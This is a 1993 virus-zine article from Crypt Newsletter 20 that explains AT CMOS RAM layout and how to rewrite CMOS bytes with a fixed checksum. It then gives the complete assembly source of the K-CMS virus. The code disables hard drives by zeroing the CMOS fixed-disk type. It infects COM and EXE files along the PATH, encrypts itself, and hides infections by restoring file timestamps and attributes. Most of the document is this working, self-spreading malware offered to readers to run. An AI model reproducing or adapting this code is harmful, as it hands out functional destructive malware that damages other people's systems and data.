comment $

                       K-CMS VIRUS for Crypt Newsletter 20


             In my quest to bring the latest hi-tech computer virus
         toys to you, faithful reader, I have researched one of the
         relatively untouched-by-viruses parts of an AT computer: 
         the CMOS.

             The CMOS (Complementary Metal Oxide Semiconductor) is a
         low power consumption semiconductor where information such as
         the current equipment settings, hard drive type, time and
         date is stored and maintained using a NiCad battery that is
         recharged every time you turn on the computer. (That is why
         it's a good idea to turn on the computer every once in a while
         if you are not using it for long periods. This prevents
         battery discharge and loss of CMOS settings.)

             The CMOS in your computer is changed and set every time
         you run the Setup program that comes with your BIOS (AMI,
         Phoenix), and can be accessed and changed by any program
         running from DOS.

         The AT CMOS RAM is divided into three areas:

         1 - The clock/calendar bytes
         2 - The control registers
         3 - General purpose RAM.

         The following table  describes the CMOS RAM location and what
         each byte is used for:

OFFSET byte    DESCRIPTION

Real Clock Data

00        Current second in BCD
01        Alarm second in BCD
02        Current minute in BCD
03        Alarm minute in BCD
04        Current Hour in BCD
05        Alarm Hour in BCD
06        Current day of week in BCD
07        Current day in BCD
08        Current month in BCD
09        Current year in BCD

Status Registers

0A        Status Register A
0B        Status Register B
0C        Status Register C
0D        Status Register D

Configuration Data

0E         Diagnostic Status
                          Bit 7 - Clock Lost Power
                          Bit 6 - Bad CMOS checksum
                          Bit 5 - invalid config info at POST
                          Bit 4 - memory Size compare error at POST
                          Bit 3 - Fixed disk or adapter failed initialization
                          Bit 2 - Invalid CMOS time
                          Bits 1-0 - Reserved
0F         Reason for Shutdown
                          00 - Power on or reset
                          01 - Memory Size pass
                          02 - Memory test pass
                          03 - memory test fail
                          04 - POST end: boot system
                          05 - jmp doubleword pointer with EOI
                          06 - Protected tests pass
                          07 - Protected tests fail
                          08 - Memory size fail
                          09 - INT 15h Block move
                          0A - JMP double word pointer without EOI
10         Diskette Drive Types
                          Bits 7-4  - Diskette drive 0 type
                          Bits 3-0  - Diskette drive 1 type
                              0000b - no drive
                              0001b - 360K drive
                              0010b - 1.2MB drive
                              0011b - 720K drive
                              0100b - 1.44 MB drive
                              0101b - 2.88 MB drive
11         Reserved
12         Fixed Disk Drive Types
                          Bits 7-4  - Fixed Disk drive 0 type
                          Bits 3-0  - Fixed Disk drive 1 type
                              0000b - no drive
                          (Note: These drives do not necessarily
                           correspond with the values stored at
                           locations 19h and 1Ah)
13         Reserved
14         Equipment Installed
                          Bits 7-6  - # of Diskette drives
                                00b - 1 diskette drive
                                01b - 2 diskette drives
                          Bits 5-4  - Primary Display
                                00b - reserved
                                01b - 40 X 25 color
                                10b - 80 X 25 color
                                11b - 80 X 25 monochrome
                          Bits 3-0  - Reserved
15         Base Memory in 1K low byte
16         Base Memory in 1K high byte
17         Expansion Memory size low byte
18         Expansion Memory size high byte
19         Fixed Disk Drive Type 0
1A         Fixed Disk Drive Type 1
1B-2D      Reserved
2E         Configuration Data checksum high byte
2F         Configuration Data checksum low byte
30         Actual Expansion Memory size low byte
31         Actual Expansion Memory size high byte
32         Century in BCD
33         Information Flag
                          Bit 7 - 128 Kbyte expanded
                          Bit 6 - Setup Flag
                          Bits 5-0 - Reserved
34-3F      Reserved



             As you can see, there are a total of 63 (3F hex) bytes of
         CMOS RAM, with 33 bytes used as 'reserved' memory in the
         three areas;  these locations are not currently defined by
         the AT BIOS and might be used to store data that will be
         restored after power is shut down.

         The 4 status registers (A through D) located, appropriately, at
         locations 0Ah through 0Dh define the chips operating
         parameters and provide information about interrupts and the
         state of the real time clock chip (RTC).

         With very few restrictions all CMOS RAM locations may be
         directly accessed by an application.
         
         Program locations 11h, 13h, and 1Bh through 2Dh are used
         in calculating the CMOS checksum that the BIOS stores at
         locations 2Eh and 2Fh.
         
         Note: If a program changes ANY bytes at locations 10h 
         through 2Dh it must also recalculate the checksum and store 
         the new value.  Changing these bytes (10h -> 2Dh) without 
         correcting the checksum results in a 'CMOS checksum error' 
         forcing you to run the BIOS setup and reenter all of the CMOS
         information.
         
         The reserved memory locations 34h through 3Fh are not used in
         checksum calculations and may be changed with extreme caution
         since different BIOS versions, manufacturers and hardware
         configurations use this reserved CMOS RAM locations for
         extended system setup information including BIOS passwords
         and DMA settings.


         To access and change a computer's CMOS RAM is very simple:

         Access is done through ports 70 hex (CMOS control/address)
         and port 71 hex (CMOS data).

         The process is thus:

         1 - We specify the CMOS RAM address of the byte we want to
             read or write using port 70h

         EXAMPLE:

         mov  al,XX   where XX = byte specifying the address (00h->3Fh)
         out  70h,al

         2 - We read or write a byte to the address specified in step
             1.

         READ EXAMPLE:

         in  al,71h   byte at location XX goes into AL

         WRITE EXAMPLE:

         out  71h,al  byte in AL goes to location XX in the CMOS RAM

         There is one little problem: if we are writing to any of the
         locations that are checksummed (10h through 2Dh), we must
         change the checksum value as well; so we follow steps 1 and 2
         with the checksum values at locations 2Eh and 2Fh, combine
         the bytes into one register and subtract the current byte
         value from the register containing the checksum. Then we add
         the value of the new byte to be put in the CMOS RAM to the
         register that has the checksum, and we write the checksum,
         and the new byte to the CMOS.
         
         While all of this might seem too complicated, I have
         written a mini-CMS toolkit, a routine that takes the address
         and the new value of the byte to be put in the CMOS, and does
         the dirty work of putting the values and of changing the
         checksum for you.

         Read the code carefully. It will make everything become
         clearer.

;==============================================================================
CMOS_CHCKSM:

; INPUT:
; DL = CMOS ADDRESS of BYTE TO be MODiFiED
; BL = NEW BYTE VALUE to be PUT IN CMOS RAM

; OUTPUT:
; None.
; REGISTERS USED: AX,CX,BX,DX

;*************************
; GET CMOS Checksum => CX
;*************************

        xor     ax,ax
        mov     al,2Eh           ;msb of checksum address
        out     70h,al           ;send address / control byte
        in      al,71h           ;read byte

        xchg    ch,al            ;store al in ch

        mov     al,2Fh           ;lsb of checksum address
        out     70h,al           ;send address / control byte
        in      al,71h           ;read byte

        xchg    cl,al            ;store lsb to cl

;*********************
; Fix CMOS Checksum
;*********************

        push    dx
        xchg    dl,al           ;AL = address
        out     70h,al          ;send address / control byte
        in      al,71h          ;read register

        sub     cx,ax           ;subtract from checksum

        add     cx,bx           ;update checksum value in register.

;****************************
; Write CMOS byte to Address
;****************************

        pop     dx
        xchg    dl,al           ;AL = address
        out     70h,al          ;specify CMOS address
        xchg    al,bl           ;new CMOS value => al

        out     71h,al          ;write new CMOS byte

;*********************
; Write CMOS Checksum
;*********************

        mov     al,2Eh          ;address of checksum 's msb
        out     70h,al          ;specify CMOS address
        xchg    al,ch           ;msb of new checksum

        out     71h,al          ;write new CMOS msb

        mov     al,2Fh          ;address of checksum 's lsb
        out     70h,al          ;specify CMOS address
        xchg    al,cl           ;lsb of new checksum

        out     71h,al          ;write new CMOS lsb
        ret

;==============================================================================


             It is worth mentioning that for XT (8088) type computers
         the CMOS routine will have no adverse effects in the
         execution of the virus-infected program.

             There are many intriguing features of CMOS-attacking 
         viruses: The biggest one is the interaction between software
         and CMOS is not stopped by common anti-virus memory
         resident programs. The most talked about example of such
         a virus is the South African EXEbug, which uses CMOS
         manipulation to make itself difficult to remove from an
         infected hard disk. EXEbug massages the CMOS so that if
         the machine is booted from a diskette and the virus is
         not in memory, the infected hard disk is not recognized.

         The list of possible problems created by a CMOS
         attacking virus is long:

         1 - CMOS checksum errors.
         This will force the user to reenter all of the CMOS data.
         Change any value in the correct CMOS range without
         updating the checksum.

         2 - Dead disk / hard drives.
         This could drive the uninformed to presume they have
         encountered a hardware problem.

         3 - Changed hardrive types, horrendous hardrive problems.
         For example: Input the hardrive type byte, subtract some small
         digit from it and output the byte to the CMOS. (The checksum
         must be fixed!) and a horrible mess results on subsequent
         boot up.

         4 - Changed dates, times, etc.
         The uninformed could thing the Nicad battery has died,
         or that his/her computer is possessed by evil, Nigerian
         Deities.

         5 - Changed BIOS passwords, inability to access a computer.
         On newer AMI BIOSes you can set or change the password
         required to access the computer.  This topic was discussed
         briefly in a recent issue of Virus News International, the 
         upshot being that the unsuspecting could be flummoxed into
         throwing the computer out the window, or more realistically,
         calling a technician. In the case where some knowledge about 
         computers is present, the case is opened and the jumper
         found to short the CMOS. (No, you don't have to disconnect 
         the battery.  And you didn't throw out your machine manuals
         did you?)

             Although many anti-virus programs can save and restore
         your CMOS values as part of their function, currently there 
         is only one memory resident program that checks for changes 
         in the CMOS: Thunderbyte's TBMEM.

             This month's example, K-CMS, falls in category #2: it
         kills all fixed disk drives by zeroing out location 12h in
         the CMOS RAM. It also has some encryption abilities (a 16
         byte constant decryptor) and a PATH style infection routine
         that actually works!
         
         Needless to say, careful handling is necessary as it can
         spread quite rapidly.

         Important: Since K-CMOS zero's the CMOS value for the fixed
         disk on execution, unless you restore the value before ending
         your experiment with some software CMOS reloading tool, you
         will have a dead C: drive when you finally get around to
         rebooting.  Keep in mind that if you don't know how to reset
         your CMOS on power up using the built in BIOS setup, you will
         sit there in a dumb stew wondering why you ran a virus which
         unhooked your hard drive.

         To prevent this from happening, you must familiarize yourself
         with the BIOS setup program. Here is a brief walkthrough which
         could be used to properly restore your machine after K-CMOS
         has altered your CMOS:
         
         1 - BEFORE you execute K-CMOS - on power up, bring up your 
         BIOS setup by holding down the DEL key while you are booting 
         the computer. 
         
         2 - You will probably see a screen with a number of selections.
         You will want to bring up "Change Basic CMOS Settings" or its
         equivalent. Write down the values for the HD types on drives 
         C and D.

         3- IF the hard drive types are "47" the you MUST record all 
         of the data in the displayed fields, i.e, the information 
         such as the number of heads, sectors, etc. Again, you MUST 
         do this BEFORE you run K-CMOS or you will have to look in 
         your manuals somewhere to get the specific HD information!

         NOTE: Newer AMI BIOSes have an auto-detect feature in the 
         Setup menu, so you might not have to worry about hard disk type 
         number, number of sectors, number of heads, etc., if you have 
         the feature in your computer's BIOS. The setup will do the 
         work for you.

         4 - Now that you've recorded this data, you can test K-CMOS
         and watch it unhook your system.  On reboot, you will lose the
         hard disk.  Reboot, bring up your Setup program as above, re-
         enter the values for the hard disk which you previously 
         recorded, exit and save.  You are back in business.

         Enjoy!

$

;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;                                K-CMS.ASM
;                            AUTHOR:  Khntark
;                           DATE:    November 93
;                           Size: <  1100 bytes
;
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

MAIN    SEGMENT BYTE
        ASSUME cs:main,ds:main,ss:nothing      ;all part in one segment=com file
        ORG    100h

;**********************************
;  fake host program
;**********************************

HOST:
        db    0E9h,0Ah,00          ;jmp    NEAR PTR VIRUS
        db     ' '
        db     90h,90h,90h
        mov    ah,4CH
        mov    al,0
        int    21H                 ;terminate normally with dos

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

;**********************************
; VIRUS CODE STARTS HERE
;**********************************

VIRUS:

      mov si,010Dh                            ;get starting address

;************************************
; Fix DS ES
;************************************

   mov  al,cs:BYTE PTR [si + COM_FLAG - VIRUS]   ;save COM/EXE flag in AX
   mov  WORD PTR cs:[si + PSP_SEG - VIRUS],es    ;save PSP segment for use in PATH search
   push ax                                       ;save COM/EXE flag
   push es                                       ;save es and ds in case file is EXE
   push ds

   push cs
   push cs
   pop  es                                    ;es = cs
   pop  ds                                    ;ds = cs

   push WORD PTR [si + ORIG_IPCS - VIRUS]       ;save IP
   push WORD PTR [si + ORIG_IPCS - VIRUS + 2]   ;save CS

   push WORD PTR [si + ORIG_SSSP - VIRUS]       ;save SS
   push WORD PTR [si + ORIG_SSSP - VIRUS + 2]   ;save SP

   push WORD PTR [si + START_CODE - VIRUS]
   push WORD PTR [si + START_CODE - VIRUS + 2]

;************************************
; redirect DTA onto virus code
;************************************

   lea  dx,[si + DTA - VIRUS] ;put DTA at the end of the virus for now
   mov  ah,1ah                ;set new DTA function to ds:dx
   int  21h

;************************************
; KIll fixed disk drives in CMOS
;************************************

        mov     dx,0012h        ;hard drive type register
        xor     bx,bx           ;New hard drive type = 0 (No Fixed drive)
        call    CMOS_CHCKSM

;************************************
; MAIN Routines called from here
;************************************

          lea  bp,[si + COM_MASK - VIRUS]
          call FIND_FILE                  ;get a com file to attack!
          lea  bp,[si + EXE_MASK - VIRUS]
          call FIND_FILE                  ;get an exe file to attack!

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

EXIT_VIRUS:

;************************************
; set old  DTA  address
;************************************

           mov ah,1ah
           mov dx,80h            ;fix dta back to ds:dx
           int 21h               ;host program

           pop WORD PTR [si + START_CODE - VIRUS + 2]
           pop WORD PTR [si + START_CODE - VIRUS]

           cli
           pop WORD PTR [si + ORIG_SSSP - VIRUS + 2]   ;save SP
           pop WORD PTR [si + ORIG_SSSP - VIRUS]       ;save SS
           sti

           pop WORD PTR [si + ORIG_IPCS - VIRUS + 2]   ;save CS
           pop WORD PTR [si + ORIG_IPCS - VIRUS]       ;save IP

           pop ds                ;restore ds
           pop es                ;restore es
           pop ax                ;restore COM_FLAG

           cmp  al,00            ;com infection?
           je  RESTORE_COM

;************************************
; restore EXE.. and exit..
;************************************

   mov  bx,ds                                       ;ds has to be original one
   add  bx,low 10h
   mov  cx,bx
   add  bx,cs:WORD PTR [si + ORIG_SSSP - VIRUS]     ;restore ss
   cli
   mov  ss,bx
   mov  sp,cs:WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;restore sp
   sti
   add  cx,cs:WORD PTR [si + ORIG_IPCS - VIRUS+ 2]
   push cx                                          ;push cs
   push cs:WORD PTR [si + ORIG_IPCS - VIRUS]        ;push ip
   db  0CBh                                         ;retf

;************************************
; restore 4 original bytes to file
;************************************

RESTORE_COM:
           push si                                   ;save si
           cld                                       ;clear direction flag
           add  si,OFFSET START_CODE -  OFFSET VIRUS ;source:   ds:si
           mov  di,0100h                             ;destination: es:di
           movsw                                     ;shorter & faster than
           movsw                                     ;mov cx,04  and rep movsb
           pop  si                                   ;restore si

;****************************************************************
; zero out registers for return to
; host program
;****************************************************************

 mov  ax,0100h     ;return address
 xor  bx,bx
 xor  cx,cx
 xor  si,si
 xor  di,di
 push ax
 xor  ax,ax
 cwd
 ret

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

NO_GOOD:     stc
             jmp GET_OUT

QUICK_EXIT:  stc                                     ;set carry flag
             ret

;-----------------------------------------------------------------------------

CHECK_N_INFECT_FILE:

;******************
; 1-Check TIME ID
;******************

       mov cx,WORD PTR [si + DTA_File_TIME - VIRUS]   ;file time from DTA
       and cl,1Dh                                     ;58 seconds?
       cmp cl,1Dh
       je  QUICK_EXIT

;*********************************************
; 2-Clear attributes
;*********************************************

       lea dx,[si + WORK_AREA - VIRUS]        ;dx=ptr to path + current filename
       xor cx,cx                              ;set attributes to normal
       mov ax,4301h                           ;set file attributes to cx
       int 21h                                ;int 21h
       jc  QUICK_EXIT                         ;error.. quit

;*****************
; 3-OPEN FILE
;*****************

       mov  ax,3D02h                        ;r/w access to it
       int  21h
       jc   NO_GOOD                         ;error.. quit
       xchg ax,bx                           ;bx = file handle

;********************
; 4-Read 1st 28 bytes
;********************

       mov  cx,28d                        ;read first 5 bytes of file
       lea  dx,[si + START_CODE - VIRUS]  ;store'em here
       mov  ah,3Fh                        ;DOS read function
       int  21h
       jc   NO_GOOD                       ;error? get next file

;*********************
; 5-CHECK FILE
;*********************

       cmp  WORD PTR [si + START_CODE - VIRUS],'ZM'   ;EXE file?
       je   CHECK_EXE                                 ;no? check com

       cmp  WORD PTR [si + START_CODE - VIRUS],'MZ'  ;EXE file?
       je   CHECK_EXE                                ;no? check com

CHECK_COM:
            mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS] ;get file's size
            push ax                                       ;insert new entry point just in case..
            add  ax,100h + DECRYPTOR_SIZE
            mov  WORD PTR [si + 1],ax
            pop  ax

            add  ax,OFFSET FINAL - OFFSET VIRUS            ;add virus size to it
            jc   NO_GOOD                                   ;bigger then 64K:nogood

            cmp  BYTE PTR [si + START_CODE - VIRUS],0E9H   ;compare 1st byte to near jmp
            jne  short INFECT_COM                          ;not a near jmp, file ok

            cmp  BYTE PTR [si + START_CODE+3 - VIRUS],20h  ;check for ' '
            je   NO_GOOD                                   ;file ok .. infect
            jmp  short  INFECT_COM


CHECK_EXE:
            cmp  WORD PTR [si + START_CODE - VIRUS + 18h],40h   ;Windows file?
            je   NO_GOOD                                        ;no? check com

            cmp  WORD PTR [si + START_CODE - VIRUS + 01Ah],0   ;internal overlay
            jne  NO_GOOD                                       ;yes? exit..

            cmp  WORD PTR [si + START_CODE - VIRUS + 12h],ID   ;already infected?
            je   NO_GOOD

INFECT_EXE:
             mov BYTE PTR [si+ COM_FLAG - VIRUS],01  ;exe infection
             jmp short SKIP

INFECT_COM:
             mov BYTE PTR [si+ COM_FLAG - VIRUS],00  ;com infection

SKIP:

;*********************
; 6-set PTR @EOF
;*********************

        xor  cx,cx                  ;prepare to write virus on file
        xor  dx,dx                  ;position file pointer,cx:dx = 0
       ;cwd                         ;position file pointer,cx:dx = 0
        mov  ax,4202H
        int  21h                    ;locate pointer at end EOF DOS function

;*********************
; 7-Fix deCRYPTtor
;*********************

        push ax                                         ;save file size (COM file, for EXE files
                                                        ;this is redone later)
        add  ax,100h + DECRYPTOR_SIZE
        mov  WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address
        mov  ax,(OFFSET FINAL - OFFSET VIRUS)/2         ;virus size in Words
        mov  WORD PTR [si + WORK_BUFFER - VIRUS + 1],ax ;insert size

        in    al,40h                                    ;get a random word in AX
        xchg  ah,al
        in    al,40h
        xor   ax,0813Ch
        add   ax,09249h
        rol   al,1
        ror   ah,1

        mov  WORD PTR [si + WORK_BUFFER - VIRUS + 9],ax ;insert random KEY
        pop  ax                                         ;restore file size


        cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
        jne DO_COM

;*************************
; 8-FIX AND WRITE EXE HDR
;*************************

        push bx                                ;save file handler

;-----------------------
; save CS:IP & SS:SP
;-----------------------

        push si
        cld                                    ;clear direction flag
        lea di,[si + ORIG_SSSP - VIRUS]        ;save original CS:IP at es:di
        lea si,[si + START_CODE - VIRUS + 14d] ;from ds:si
        movsw                                  ;save ss
        movsw                                  ;save sp

        add si,02                              ;save original SS:SP
        movsw                                  ;save ip
        movsw                                  ;save cs
        pop si

;-----------------------------
; calculate new CS:IP
;-----------------------------

        mov  bx,WORD PTR[si + START_CODE - VIRUS + 8] ;header size in paragraphs
        mov  cl,04                                    ;multiply by 16, won't work with headers > 4096
        shl  bx,cl                                    ;bx=header size

        push ax                                       ;save file size at dx:ax
        push dx

        sub  ax,bx                                    ;file size - header size
        sbb  dx,0000h                                 ;fix dx if carry, assures dx, ip < 16

        call CALCULATE

        mov  WORD PTR [si+ START_CODE - VIRUS + 12h],ID   ;put ID in checksum slot
        mov  WORD PTR [si+ START_CODE - VIRUS + 14h],ax   ;IP
        add  ax,DECRYPTOR_SIZE
        mov  WORD PTR [si+1],ax                           ;insert new starting address
        mov  WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax   ;insert address on decryptor
        mov  WORD PTR [si+ START_CODE - VIRUS + 16h],dx   ;CS

;-----------------------------
; calculate & fix new SS:SP
;-----------------------------

        pop dx
        pop ax ;filelength in dx:ax

        add ax,OFFSET FINAL - OFFSET VIRUS ;add filesize to ax
        adc dx,0000h                       ;fix dx if carry

        push ax
        push dx
        add  ax,40h   ;if filesize + virus size is even then the stack size
        test al,01    ;even or odd stack?
        jz   EVENN
        inc  ax       ;make stack even
EVENN:
        call CALCULATE

        mov  WORD PTR [si+ START_CODE - VIRUS + 10h],ax ;SP
        mov  WORD PTR [si+ START_CODE - VIRUS + 0Eh],dx ;SS

;-----------------------------
; Calculate new file size
;-----------------------------

        pop dx
        pop ax

        push  ax
        mov   cl,0009h                       ;2^9 = 512
        ror   dx,cl                          ;/ 512 (sort of)
        shr   ax,cl                          ;/ 512
        stc                                  ;set carry flag
        adc   dx,ax                          ;fix dx , page count
        pop   cx
        and   ch,0001h                       ;mod 512

        mov  WORD PTR [si+ START_CODE - VIRUS + 4],dx ;page count
        mov  WORD PTR [si+ START_CODE - VIRUS + 2],cx ;save remainder

        pop  bx      ;restore file handle

DO_COM:

;*********************
; 9-write deCRYPTor
;*********************

       lea   dx,[si + WORK_BUFFER - VIRUS]  ;write from here
       mov   cx,DECRYPTOR_SIZE              ;write # of bytes
       mov   ah,40h                         ;write to file bx=file handle
       int   21h                            ;write from DS:DX

;*********************
; 10-enCRYPT virus
;*********************

       push  ds                                         ;save DS
       push  es                                         ;save ES
       mov   ax,0A00h                                   ;set up new ES (work) segment
       push  ax
       pop   es                                         ;ES=AX=0A00h
       xor   di,di                                      ;DI=0
       mov   cx,(OFFSET FINAL - OFFSET VIRUS)/2         ;virus size cx= # words
       push  si                                         ;save SI
       mov   dx,WORD PTR [si + WORK_BUFFER - VIRUS + 9] ;get Random KEY in DX

enCRYPT:
       lodsw          ;word ptr ds:[si] => ax
       sub   ax,dx    ;encrypt ax
       stosw          ;ax => word ptr es:[di]
       loop  enCRYPT

       pop   si       ;restore SI
       xor   dx,dx    ;DX=0
       push  es
       pop   ds       ;DS=ES

;*********************
; 11-Write Virus
;*********************

        mov  cx,OFFSET FINAL - OFFSET VIRUS      ;write virus  cx= # bytes
        mov  ah,40h                              ;write to file bx=file handle
        int  21h                                 ;write from DS:DX

        pop  es                                  ;restore ES
        pop  ds                                  ;restore DS

;*********************
; 12-set PTR @BOF
;*********************

        mov  ax,4200h                            ;locate pointer at beginning of
        xor  cx,cx
        xor  dx,dx                               ;position file pointer,cx:dx = 0
       ;cwd                                      ;position file pointer,cx:dx = 0
        int  21h                                 ;host file

        cmp BYTE PTR [si+ COM_FLAG  - VIRUS],01  ;exe file?
        jne DO_COM2

;*********************
; 13-Write EXE Header
;*********************

        mov  cx,28d                               ;#of bytes to write
        lea  dx,[si + START_CODE - VIRUS]         ;ds:dx=pointer of data to write
        jmp  short CONT

;****************************************************
; 14-write new 4 bytes to beginning of file (COM)
;***************************************************

DO_COM2:
        mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS]
        sub  ax,3
        mov  WORD PTR [si + START_IMAGE + 1 - VIRUS],ax

        mov  cx,4                                 ;#of bytes to write
        lea  dx,[si + START_IMAGE - VIRUS]        ;ds:dx=pointer of data to write

CONT:
        mov  ah,40h                               ;DOS write function
        int  21h                                  ;write 5 / 28 bytes

;*************************************************
; 15-Restore date and time of file to be infected
;*************************************************

        mov  ax,5701h
        mov  dx,WORD PTR [si + DTA_File_DATE - VIRUS]
        mov  cx,WORD PTR [si + DTA_File_TIME - VIRUS]
        and  cx,0FFE0h                             ;mask all but seconds
        or   cl,1Dh                                ;seconds to 58
        int  21h

GET_OUT:
;****************
; 16-Close File
;****************

        pushf                          ;save flags to return on exit
        mov  ah,3Eh
        int  21h                       ;close file

;*************************************************
; 17-Restore file's attributes
;*************************************************

       mov ax,4301h                                  ;set file attributes to cx
       lea dx,[si + WORK_AREA - VIRUS]               ;dx=ptr to path + current filename
       xor cx,cx
       mov cl,BYTE PTR [si + DTA_File_ATTR - VIRUS]  ;get old attributes
       int 21h
       popf                                          ;restore flags to return on exit
       ret                                           ;infection done!

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

CALCULATE:
        mov cl,0Ch
        shl dx,cl     ;dx * 4096
        mov bx,ax
        mov cl,4
        shr bx,cl     ;ax / 16
        add dx,bx     ;dx = dx * 4096 + ax / 16 =SS CS
        and ax,0Fh    ;ax = ax and 0Fh          =SP IP
        ret

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

FIND_FILE:
             push  si
             push  es
             mov   es,es:WORD PTR [si + PSP_SEG - VIRUS] ;es=saved PSP segment
             mov   es,es:2ch                             ;es:di points to environment
             xor   di,di
             mov   bx,si
FIND_PATH:
            lea   si,[bx + PATH_STR - VIRUS]  ;source :ds:si = 'P'
            lodsb                             ;load 'P'
            mov   cx,7FFFh                    ;size of environment= 32768 bytes
            not   cx                          ;cx=8000h
            repne scasb                       ;find 'P' in es:di
            mov cx,4

CHECK_NEXT_4:
               lodsb                   ;check for 'ATH'
               scasb
               jne  FIND_PATH
               loop CHECK_NEXT_4

               mov WORD PTR [bx + PATH_ADDRESS - VIRUS],di            ;save path's address es:di
               lea di,[bx + WORK_AREA - VIRUS]
               pop es                                                 ;restore PSP segment
               jmp short COPY_FILE_SPEC_TO_WORK_AREA

NO_FILE_FOUND:
                cmp word ptr [bx + PATH_ADDRESS - VIRUS],0 ;has path string ended?
                jne FOLLOW_THE_PATH                        ;if not there are more subdirs
                jmp EXIT                                   ;path string ended.. exit

FOLLOW_THE_PATH:
                 lea di,[bx + WORK_AREA - VIRUS]              ;destination es:di = work area
                 mov si,WORD PTR [bx + PATH_ADDRESS - VIRUS]  ;source      ds:si = Environment
                 mov ds,WORD PTR [bx + PSP_SEG - VIRUS]       ;ds=PSP segment
                 mov ds,ds:2ch                                ;ds:si points to environment

UP_TO_LODSB:
                 lodsb                               ;get character
                 xchg cx,ax                          ;he he
                 cmp cl,';'                          ;is it a ';'?
                 xchg cx,ax                          ;he he
                 je SEARCH_AGAIN
                 cmp al,0                            ;end of path string?
                 je CLEAR_SI
                 stosb                               ;save path marker into di
                 jmp SHORT UP_TO_LODSB

CLEAR_SI:        ;mark the fact that we are looking thru the final subdir
                  xor si,si

SEARCH_AGAIN:
                  mov WORD PTR cs:[bx + PATH_ADDRESS - VIRUS],si ;save address of next subdir
                  cmp BYTE PTR cs:[di-1],'\'                     ;ends with a '\'?
                  je COPY_FILE_SPEC_TO_WORK_AREA
                  mov al,'\'                                     ;add '\' if not
                  stosb

;***********************************************
; put *.COM / *.EXE into workspace
;***********************************************

COPY_FILE_SPEC_TO_WORK_AREA:
                  push cs
                  pop  ds                                      ;ds=cs
                  mov  WORD PTR [bx + FILENAME_PTR - VIRUS],di ;es:di = WORK_AREA
                  mov  si,bp                                   ;bp=file spec
                  mov  cx,3                                    ;length of *.com0/ *.EXE0
                  rep  movsw                                   ;move *.COM0/ *.EXE0 to workspace

;************************************************
; Find FIRST FILE
;************************************************

                  mov ah,04EH                     ;DOS function
                  lea dx,[bx + WORK_AREA - VIRUS] ;dx points to path in workspace
                  mov cx,3Fh                      ;attributes RO or hidden OK
FIND_NEXT_FILE:   int 21H
                  jnc FILE_FOUND
                  jmp short NO_FILE_FOUND

FILE_FOUND:
             mov di,WORD PTR [bx + FILENAME_PTR - VIRUS] ;destination: es:di
             lea si,[bx + DTA_File_NAME - VIRUS]         ;origin       ds:si

MOVE_ASCII_FILENAME:
                      lodsb                    ;move filename to the end of path
                      stosb
                      cmp al,0                 ;end of ASCIIZ string?
                      jne MOVE_ASCII_FILENAME  ;keep on going
                      pop si                   ;restore si to use in the following
                      push bp                  ;save COM / EXE string pointer
                      call CHECK_N_INFECT_FILE ;check file if file found
                      pop  bp                  ;restore COM / EXE string pointer
                      jnc  EXITX
                      mov  bx,si               ;fix bx
                      push si                  ;save si again
                      mov ah,04Fh
                      jmp short FIND_NEXT_FILE

EXIT:
                      pop  si
EXITX:
                      ret

;==============================================================================
CMOS_CHCKSM:

; INPUT:
; DL = CMOS ADDRESS of BYTE TO be MODiFiED
; BL = NEW BYTE VALUE to be PUT IN CMOS RAM

; OUTPUT:
; None.
; REGISTERS USED: AX,CX,BX,DX

;*************************
; GET CMOS Checksum => CX
;*************************

        xor     ax,ax
        mov     al,2Eh           ;msb of checksum address
        out     70h,al           ;send address / control byte
        in      al,71h           ;read byte

        xchg    ch,al            ;store al in ch

        mov     al,2Fh           ;lsb of checksum address
        out     70h,al           ;send address / control byte
        in      al,71h           ;read byte

        xchg    cl,al            ;store lsb to cl

;*********************
; Fix CMOS Checksum
;*********************

        push    dx
        xchg    dl,al           ;AL = address
        out     70h,al          ;send address / control byte
        in      al,71h          ;read register

        sub     cx,ax           ;subtract from checksum

        add     cx,bx           ;update checksum value in register.

;****************************
; Write CMOS byte to Address
;****************************

        pop     dx
        xchg    dl,al           ;AL = address
        out     70h,al          ;specify CMOS address
        xchg    al,bl           ;new CMOS value => al

        out     71h,al          ;write new CMOS byte

;*********************
; Write CMOS Checksum
;*********************

        mov     al,2Eh          ;address of checksum 's msb
        out     70h,al          ;specify CMOS address
        xchg    al,ch           ;msb of new checksum

        out     71h,al          ;write new CMOS msb

        mov     al,2Fh          ;address of checksum 's lsb
        out     70h,al          ;specify CMOS address
        xchg    al,cl           ;lsb of new checksum

        out     71h,al          ;write new CMOS lsb
        ret

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

NAME_AUTHOR     db  'K-CMS / Khntark'

WORK_BUFFER     db  0B9h,00,00                     ;mov  cx,VSIZE
                db  0BBh,00,00                     ;mov  si,VADDRESS
                db  02Eh,081h,07,00,00             ;add WORD PTR cs:[si],KEY
                db  083h,0C3h,02                   ;add si,02
               ;db  043h,043h                      ;inc bx, inc bx
                db  0E2h,0F6h                      ;loop add..

COM_MASK        db  '*.COM',0
EXE_MASK        db  '*.EXE',0
PATH_STR        db  'PATH=',0

START_IMAGE     db  0E9h,0,0,020h

ORIG_SSSP       dw  0,0
ORIG_IPCS       dw  0,0
COM_FLAG        db  0                   ;0=COM 1=EXE
START_CODE      db  4 dup (90h)         ;4 bytes of COM or EXE hdr goes here

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

FINAL:                ;label of byte of code to be kept in virus when it moves

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

HEAP:

START_CODE2      db  24d dup (0)         ;2nd part of EXE hdr

PSP_SEG         dw  0

PATH_ADDRESS    dw  0
